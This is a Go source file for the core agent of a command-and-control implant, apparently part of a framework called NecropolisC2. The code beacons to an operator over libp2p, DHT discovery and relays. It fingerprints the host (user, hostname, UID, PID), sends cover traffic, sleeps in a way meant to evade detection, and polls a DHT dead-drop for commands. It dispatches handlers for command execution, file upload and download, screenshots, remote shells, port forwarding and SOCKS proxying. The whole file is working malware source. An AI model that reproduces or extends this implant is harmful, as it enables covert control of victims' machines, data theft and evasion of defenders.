package core

import (
	"bytes"
	"context"
	"crypto/rand"
	"encoding/binary"
	"fmt"
	"io"
	"log"
	"os"
	"os/user"
	"runtime"
	"runtime/debug"
	"sort"
	"sync"
	"time"

	"github.com/libp2p/go-libp2p"
	"github.com/libp2p/go-libp2p/core/crypto"
	"github.com/libp2p/go-libp2p/core/network"
	"github.com/libp2p/go-libp2p/core/peer"
	tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
	ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
	"github.com/multiformats/go-multiaddr"
	"google.golang.org/protobuf/proto"

	"github.com/Yenn503/NecropolisC2/pkg/cryptography"
	"github.com/Yenn503/NecropolisC2/pkg/transport"
	apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)

type Agent struct {
	node         *transport.Node
	messenger    *transport.Messenger
	keys         *cryptography.ImplantKey
	operatorPub  crypto.PubKey
	boxPubKey    *[32]byte
	authToken    []byte
	config       AgentConfig
	ctx          context.Context
	cancel       context.CancelFunc
	connected    bool
	connectedMu  sync.Mutex
	wg           sync.WaitGroup
	beaconStream  network.Stream
	beaconMu      sync.Mutex
	beaconWriteMu sync.Mutex

	deadManCmd     string
	deadManTimeout time.Duration
	deadManTimer   *time.Timer

	relayPeers    map[peer.ID]*relayPeerInfo
	relayMu       sync.RWMutex

	lastDHTNonce  int64

	implantBoxKeys *cryptography.BoxKeyPair
}

type AgentConfig struct {
	OperatorAddr     string
	WSSAddr          string
	BeaconInterval   time.Duration
	BeaconJitter     time.Duration
	ReconnectBackoff time.Duration
	RelayAddrs       []string
	CoverTraffic     bool
	CoverInterval    time.Duration
	CoverJitter      time.Duration
}

func DefaultAgentConfig() AgentConfig {
	return AgentConfig{
		BeaconInterval:   10 * time.Second,
		BeaconJitter:     5 * time.Second,
		ReconnectBackoff: 5 * time.Second,
		CoverTraffic:     true,
		CoverInterval:    4 * time.Second,
		CoverJitter:      3 * time.Second,
	}
}

func loadOperatorPubKey() (crypto.PubKey, error) {
	if len(embeddedOperatorPubKey) == 0 {
		return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
	}
	return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}

func loadOperatorBoxPubKey() *[32]byte {
	if len(embeddedOperatorBoxPubKey) != 32 {
		return nil
	}
	var key [32]byte
	copy(key[:], embeddedOperatorBoxPubKey)
	return &key
}

func loadAuthToken() []byte {
	if len(embeddedAuthToken) != 32 {
		return nil
	}
	return embeddedAuthToken
}

func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
	if len(embeddedImplantPrivKey) == 0 {
		return nil, fmt.Errorf("no embedded implant private key — rebuild with necropolis generate")
	}
	priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
	if err != nil {
		return nil, fmt.Errorf("unmarshal implant key: %w", err)
	}
	pub := priv.GetPublic()
	pid, err := peer.IDFromPublicKey(pub)
	if err != nil {
		return nil, fmt.Errorf("peer id from implant key: %w", err)
	}
	return &cryptography.ImplantKey{
		KeyPair:        cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
		PeerID:         pid,
		OperatorPubKey: operatorPub,
	}, nil
}

func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
	ctx, cancel := context.WithCancel(ctx)

	operatorPub, err := loadOperatorPubKey()
	if err != nil {
		cancel()
		return nil, fmt.Errorf("load operator pubkey: %w", err)
	}

	keys, err := loadImplantKey(operatorPub)
	if err != nil {
		cancel()
		return nil, fmt.Errorf("load implant key: %w", err)
	}

	nodeCfg := transport.NodeConfig{
		ListenAddr:         "/ip4/0.0.0.0/tcp/0/ws",
		BootstrapPeers:     transport.DefaultBootstrapAddrs(),
		EnableRelay:        true,
		EnableRelayService: true,
		EnableMDNS:         false,
		EnableDHT:          true,
		RelayAddrs:         cfg.RelayAddrs,
		PrivateKey:         keys.PrivateKey,
	}

	node, err := transport.NewNode(ctx, nodeCfg,
		libp2p.NoTransports,
		libp2p.Transport(ws.New),
		libp2p.Transport(tcp.NewTCPTransport),
	)
	if err != nil {
		cancel()
		return nil, fmt.Errorf("create node: %w", err)
	}

	boxPub := loadOperatorBoxPubKey()
	authToken := loadAuthToken()

	implantBoxKeys, err := cryptography.GenerateBoxKey()
	if err != nil {
		cancel()
		node.Close()
		return nil, fmt.Errorf("generate implant box key: %w", err)
	}

	a := &Agent{
		keys:           keys,
		operatorPub:    operatorPub,
		boxPubKey:      boxPub,
		authToken:      authToken,
		node:           node,
		config:         cfg,
		ctx:            ctx,
		cancel:         cancel,
		relayPeers:     make(map[peer.ID]*relayPeerInfo),
		implantBoxKeys: implantBoxKeys,
	}

	a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
	a.messenger.SetAuthToken(authToken)
	a.messenger.SetHandler(a.handleCommand)

	return a, nil
}

func (a *Agent) Start() error {
	log.Printf("[implant] PeerID: %s", a.node.ID().String())
	log.Printf("[implant] Operator: %s", a.messenger.BeaconTopic())

	if a.config.OperatorAddr != "" {
		m, err := multiaddr.NewMultiaddr(a.config.OperatorAddr)
		if err != nil {
			return fmt.Errorf("parse operator addr %s: %w", a.config.OperatorAddr, err)
		}
		pi, err := peer.AddrInfoFromP2pAddr(m)
		if err != nil {
			return fmt.Errorf("parse operator peer info: %w", err)
		}
		if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
			return fmt.Errorf("connect to operator: %w", err)
		}
		log.Printf("[implant] connected to operator directly: %s", pi.ID.String())
	}

	if a.config.WSSAddr != "" {
		m, err := multiaddr.NewMultiaddr(a.config.WSSAddr)
		if err == nil {
			pi, err := peer.AddrInfoFromP2pAddr(m)
			if err == nil {
				if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
					log.Printf("[implant] WSS fallback connect: %v", err)
				} else {
					log.Printf("[implant] connected via WSS: %s", a.config.WSSAddr)
				}
			}
		}
	}

	log.Printf("[implant] starting discovery...")
	if err := a.node.StartDiscovery(); err != nil {
		return fmt.Errorf("discovery: %w", err)
	}

	log.Printf("[implant] subscribing to commands...")
	if err := a.messenger.ListenCommands(a.ctx); err != nil {
		return fmt.Errorf("listen commands: %w", err)
	}
	if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil {
		return fmt.Errorf("listen task: %w", err)
	}

	a.node.SetStreamHandler(transport.CmdProtocolID, a.handleCommandStream)

	ns := a.messenger.RendezvousString()
	if a.node.DHT != nil {
		a.wg.Add(1)
		go a.discoverOperatorLoop(ns)
	}

	a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
	a.node.SetStreamHandler(transport.PortfwdProtocolID, a.handlePortfwdStream)
	a.node.SetStreamHandler(transport.SocksProtocolID, a.handleSocksStream)

	a.wg.Add(1)
	go a.beaconLoop()

	if a.config.CoverTraffic {
		a.wg.Add(1)
		go a.coverTrafficLoop()
	}

	a.wg.Add(1)
	go a.streamKeepaliveLoop()

	if a.node.DHT != nil {
		relayNS := a.relayRendezvous()
		a.wg.Add(1)
		go a.advertiseRelayLoop(relayNS)
		a.wg.Add(1)
		go a.discoverRelaysLoop(relayNS)
		a.wg.Add(1)
		go a.pollDHTCmdLoop()
	}

	return nil
}

func (a *Agent) discoverOperatorLoop(ns string) {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in discoverOperatorLoop: %v", r)
		}
	}()
	log.Printf("[implant] DHT discovery started for: %s", ns)
	for {
		if a.node.DHT != nil {
			rt := a.node.DHT.RoutingTable()
			if rt != nil && rt.Size() >= 5 {
				break
			}
		}
		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(2 * time.Second)
	}

	for {
		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in discoverOperatorLoop iteration: %v", r)
				}
			}()
			peerCh, err := a.node.FindPeers(a.ctx, ns)
			if err != nil {
				log.Printf("[implant] DHT find peers: %v", err)
				return
			}

			for pi := range peerCh {
				if pi.ID == a.node.ID() || pi.ID != a.messenger.OperatorID() || len(pi.Addrs) == 0 {
					continue
				}
				if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
					log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
					continue
				}
				a.connectedMu.Lock()
				if !a.connected {
					a.connected = true
					a.connectedMu.Unlock()
					log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
					go a.sendBeaconDirect(pi.ID)
				} else {
					a.beaconMu.Lock()
					streamNil := a.beaconStream == nil
					a.beaconMu.Unlock()
					a.connectedMu.Unlock()
					if streamNil {
						log.Printf("[implant] beacon stream nil, reconnecting to %s", pi.ID.String())
						go a.sendBeaconDirect(pi.ID)
					}
				}
			}

			a.connectedMu.Lock()
			cs := a.node.Host.Network().Connectedness(a.messenger.OperatorID())
			if a.connected && cs != network.Connected && cs != network.Limited {
				a.connected = false
			}
			a.connectedMu.Unlock()
		}()

		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(15 * time.Second)
	}
}

func cryptoJitter(max time.Duration) time.Duration {
	if max <= 0 {
		return 0
	}
	var buf [8]byte
	rand.Read(buf[:])
	n := int64(binary.LittleEndian.Uint64(buf[:]) & 0x7FFFFFFFFFFFFFFF)
	return time.Duration(n % int64(max))
}

func (a *Agent) beaconLoop() {
	defer a.wg.Done()
	for {
		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in beaconLoop: %v\n%s", r, debug.Stack())
				}
			}()
			a.sendBeaconRegister()
		}()

		jitter := cryptoJitter(a.config.BeaconJitter)
		sleep := a.config.BeaconInterval + jitter

		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(sleep)
	}
}

func (a *Agent) streamKeepaliveLoop() {
	defer a.wg.Done()
	for {
		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(5 * time.Second)

		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in streamKeepaliveLoop: %v\n%s", r, debug.Stack())
				}
			}()

			a.connectedMu.Lock()
			connected := a.connected
			opID := a.messenger.OperatorID()
			a.connectedMu.Unlock()

			if !connected {
				return
			}

			env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
			if err := a.sendEnvelopeDirect(opID, env); err != nil {
			}
		}()
	}
}

func (a *Agent) coverTrafficLoop() {
	defer a.wg.Done()
	for {
		jitter := cryptoJitter(a.config.CoverJitter)
		sleep := a.config.CoverInterval + jitter

		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(sleep)

		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in coverTrafficLoop: %v\n%s", r, debug.Stack())
				}
			}()
			a.sendCoverTraffic()
		}()
	}
}

func (a *Agent) sendCoverTraffic() {
	env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
	topic := a.messenger.BeaconTopic()
	if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
		log.Printf("[implant] cover traffic: %v", err)
	}
}

func (a *Agent) buildRegisterPayload() ([]byte, error) {
	hostname, _ := os.Hostname()
	username := os.Getenv("USER")
	if username == "" {
		username = os.Getenv("USERNAME")
	}
	if u, err := user.Current(); err == nil && u.Name != "" {
		username = u.Name
	} else if err == nil && u.Username != "" {
		username = u.Username
	}
	uid, gid := "", ""
	if runtime.GOOS != "windows" {
		uid = fmt.Sprintf("%d", os.Getuid())
		gid = fmt.Sprintf("%d", os.Getgid())
	}
	reg := &apb.Register{
		Name:     username,
		Hostname: hostname,
		UUID:     a.node.ID().String(),
		Username: username,
		UID:      uid,
		GID:      gid,
		OS:       runtime.GOOS,
		Arch:     runtime.GOARCH,
		PID:      int32(os.Getpid()),
		Filename: os.Args[0],
		Version:  "0.1.0",
		Locale:   os.Getenv("LANG"),
		ActiveC2: a.messenger.OperatorID().String(),
		BoxPubKey: a.boxPubKey[:],
	}
	beaconReg := &apb.Z1{
		ID:       a.node.ID().String(),
		Interval: int64(a.config.BeaconInterval.Seconds()),
		Jitter:   int64(a.config.BeaconJitter.Seconds()),
		Register: reg,
	}
	data, err := proto.Marshal(beaconReg)
	if err != nil {
		return nil, err
	}
	return data, nil
}

func (a *Agent) sendBeaconRegister() {
	beaconData, err := a.buildRegisterPayload()
	if err != nil {
		log.Printf("[implant] marshal beacon register: %v", err)
		return
	}

	env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)

	a.connectedMu.Lock()
	connected := a.connected
	opID := a.messenger.OperatorID()
	a.connectedMu.Unlock()

	if connected {
		if err := a.sendEnvelopeDirect(opID, env); err == nil {
			log.Printf("[implant] sent beacon register to %s", opID.String())
			return
		}
	}

	topic := a.messenger.BeaconTopic()
	if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
		log.Printf("[implant] send register: %v", err)
	}
}

func (a *Agent) sendBeaconDirect(operatorID peer.ID) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in sendBeaconDirect: %v", r)
		}
	}()
	log.Printf("[implant] sending direct beacon to %s", operatorID.String())

	beaconData, err := a.buildRegisterPayload()
	if err != nil {
		log.Printf("[implant] direct beacon marshal: %v", err)
		return
	}
	env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
	if err := a.sendEnvelopeDirect(operatorID, env); err != nil {
		log.Printf("[implant] direct beacon send: %v", err)
		a.connectedMu.Lock()
		a.connected = false
		a.connectedMu.Unlock()
		return
	}
	log.Printf("[implant] sent direct beacon to %s", operatorID.String())
}

func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
	if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
		log.Printf("[implant] dropped command — %v", err)
		return
	}

	if !bytes.Equal(env.Token, a.authToken) {
		log.Printf("[implant] dropped command — auth token mismatch")
		return
	}

	if a.messenger.IsReplay(env.ID) {
		log.Printf("[implant] dropped replay — type=%d id=%d", env.Type, env.ID)
		return
	}

	log.Printf("[implant] received command type=%d", env.Type)

	if a.implantBoxKeys != nil && len(env.Data) > 0 {
		decrypted, err := cryptography.DecryptMessage(env.Data, a.implantBoxKeys)
		if err == nil {
			env.Data = decrypted
			log.Printf("[implant] decrypted command type=%d", env.Type)
		}
	}

	if a.deadManTimer != nil {
		a.deadManTimer.Reset(a.deadManTimeout)
	}

	switch env.Type {
	case transport.MsgTypePs:
		a.handlePs(env)
	case transport.MsgTypeDownload:
		a.handleDownload(env)
	case transport.MsgTypeUpload:
		a.handleUpload(env)
	case transport.MsgTypeScreenshot:
		a.handleScreenshot(env)
	case transport.MsgTypeLs:
		a.handleLs(env)
	case transport.MsgTypeCd:
		a.handleCd(env)
	case transport.MsgTypePwd:
		a.handlePwd(env)
	case transport.MsgTypeExecute:
		a.handleExecute(env)
	case transport.MsgTypeKill:
		a.handleKill(env)
	case transport.MsgTypeDeadMan:
		a.handleDeadMan(env)
	default:
		log.Printf("[implant] unknown cmd type=%d", env.Type)
	}
}

func (a *Agent) handleCommandStream(s network.Stream) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in handleCommandStream: %v\n%s", r, debug.Stack())
		}
	}()
	defer s.Close()

	remotePeer := s.Conn().RemotePeer()
	log.Printf("[implant] command stream from %s", remotePeer.String())

	var msgLen uint32
	if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
		log.Printf("[implant] command stream read len: %v", err)
		return
	}
	if msgLen > 1<<20 {
		return
	}
	data := make([]byte, msgLen)
	if _, err := io.ReadFull(s, data); err != nil {
		log.Printf("[implant] command stream read data: %v", err)
		return
	}

	env := &apb.Envelope{}
	if err := proto.Unmarshal(data, env); err != nil {
		log.Printf("[implant] command stream unmarshal: %v", err)
		return
	}

	a.handleCommand(a.ctx, env, nil)
}

func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
	ctx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
	defer cancel()
	ctx = network.WithAllowLimitedConn(ctx, "beacon stream")

	s, err := a.node.NewStream(ctx, operatorID, transport.BeaconProtocolID)
	if err != nil {
		return nil, fmt.Errorf("open stream: %w", err)
	}
	return s, nil
}

func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
	var data []byte
	if a.boxPubKey != nil && len(env.Data) > 0 {
		encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
		if err != nil {
			return fmt.Errorf("encrypt: %w", err)
		}
		data = encrypted
	} else {
		data = env.Data
	}

	wireEnv := &apb.Envelope{
		ID:    env.ID,
		Type:  env.Type,
		Data:  data,
		Token: env.Token,
	}
	pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
	if err == nil {
		wireEnv.SenderKey = pubBytes
	}

	signingData, err := transport.EnvelopeSigningBytes(wireEnv)
	if err != nil {
		return fmt.Errorf("marshal signing data: %w", err)
	}
	sig, err := a.keys.PrivateKey.Sign(signingData)
	if err != nil {
		return fmt.Errorf("sign: %w", err)
	}
	wireEnv.Signature = sig

	s := a.getBeaconStream(operatorID)
	if s == nil {
		return fmt.Errorf("nil beacon stream")
	}

	envData, err := proto.Marshal(wireEnv)
	if err != nil {
		return fmt.Errorf("marshal: %w", err)
	}

	a.beaconWriteMu.Lock()
	defer a.beaconWriteMu.Unlock()

	s.SetWriteDeadline(time.Now().Add(5 * time.Second))
	if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
		s.Close()
		a.setBeaconStream(nil)
		return fmt.Errorf("write len: %w", err)
	}
	if _, err := s.Write(envData); err != nil {
		s.Close()
		a.setBeaconStream(nil)
		return fmt.Errorf("write data: %w", err)
	}
	s.SetWriteDeadline(time.Time{})
	return nil
}

func (a *Agent) getBeaconStream(operatorID peer.ID) network.Stream {
	a.beaconMu.Lock()
	s := a.beaconStream
	if s != nil {
		a.beaconMu.Unlock()
		return s
	}
	a.beaconMu.Unlock()

	cs := a.node.Host.Network().Connectedness(operatorID)
	if cs == network.Connected || cs == network.Limited {
		s, err := a.openBeaconStream(operatorID)
		if err == nil {
			return a.setOrCloseBeaconStream(s, "direct")
		}
	}

	a.relayMu.RLock()
	var candidates []peer.ID
	for id, rp := range a.relayPeers {
		if rp.connected {
			candidates = append(candidates, id)
		}
	}
	// prefer relays with fewer failures — cheapest signal available
	sort.Slice(candidates, func(i, j int) bool {
		return a.relayPeers[candidates[i]].failCount < a.relayPeers[candidates[j]].failCount
	})
	a.relayMu.RUnlock()

	for _, relayID := range candidates {
		circuitAddr := fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s",
			relayID.String(), operatorID.String())
		m, err := multiaddr.NewMultiaddr(circuitAddr)
		if err != nil {
			continue
		}
		connCtx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
		err = a.node.ConnectToPeer(connCtx, peer.AddrInfo{ID: operatorID, Addrs: []multiaddr.Multiaddr{m}})
		cancel()
		if err != nil {
			log.Printf("[implant] relay %s to operator: %v", relayID.String(), err)
			continue
		}
		log.Printf("[implant] connected to operator via relay %s", relayID.String())
		s, err := a.openBeaconStream(operatorID)
		if err == nil {
			return a.setOrCloseBeaconStream(s, "relayed")
		}
	}

	return nil
}

func (a *Agent) setBeaconStream(s network.Stream) {
	a.beaconMu.Lock()
	a.beaconStream = s
	a.beaconMu.Unlock()
}

func (a *Agent) setOrCloseBeaconStream(s network.Stream, via string) network.Stream {
	a.beaconMu.Lock()
	if a.beaconStream == nil {
		a.beaconStream = s
	} else {
		s.Close()
		s = a.beaconStream
	}
	a.beaconMu.Unlock()
	log.Printf("[implant] persistent beacon stream opened (%s)", via)
	return s
}

func (a *Agent) pollDHTCmdLoop() {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in pollDHTCmdLoop: %v", r)
		}
	}()

	if !a.node.WaitForDHT(a.ctx) {
		return
	}

	opID := a.messenger.OperatorID()
	for {
		nonce := a.lastDHTNonce + 1
		key := transport.CommandDHTKey(opID, nonce)
		val, err := a.node.GetDHTValue(a.ctx, key)
		if err != nil || len(val) == 0 {
			select {
			case <-a.ctx.Done():
				return
			case <-time.After(30 * time.Second):
			}
			continue
		}

		env := &apb.Envelope{}
		if err := proto.Unmarshal(val, env); err != nil {
			log.Printf("[implant] dht dead-drop unmarshal: %v", err)
			select {
			case <-a.ctx.Done():
				return
			case <-time.After(30 * time.Second):
			}
			continue
		}

		a.handleCommand(a.ctx, env, nil)
		a.lastDHTNonce = nonce

		select {
		case <-a.ctx.Done():
			return
		case <-time.After(30 * time.Second):
		}
	}
}

func (a *Agent) Close() error {
	a.cancel()
	a.wg.Wait()
	return a.node.Close()
}
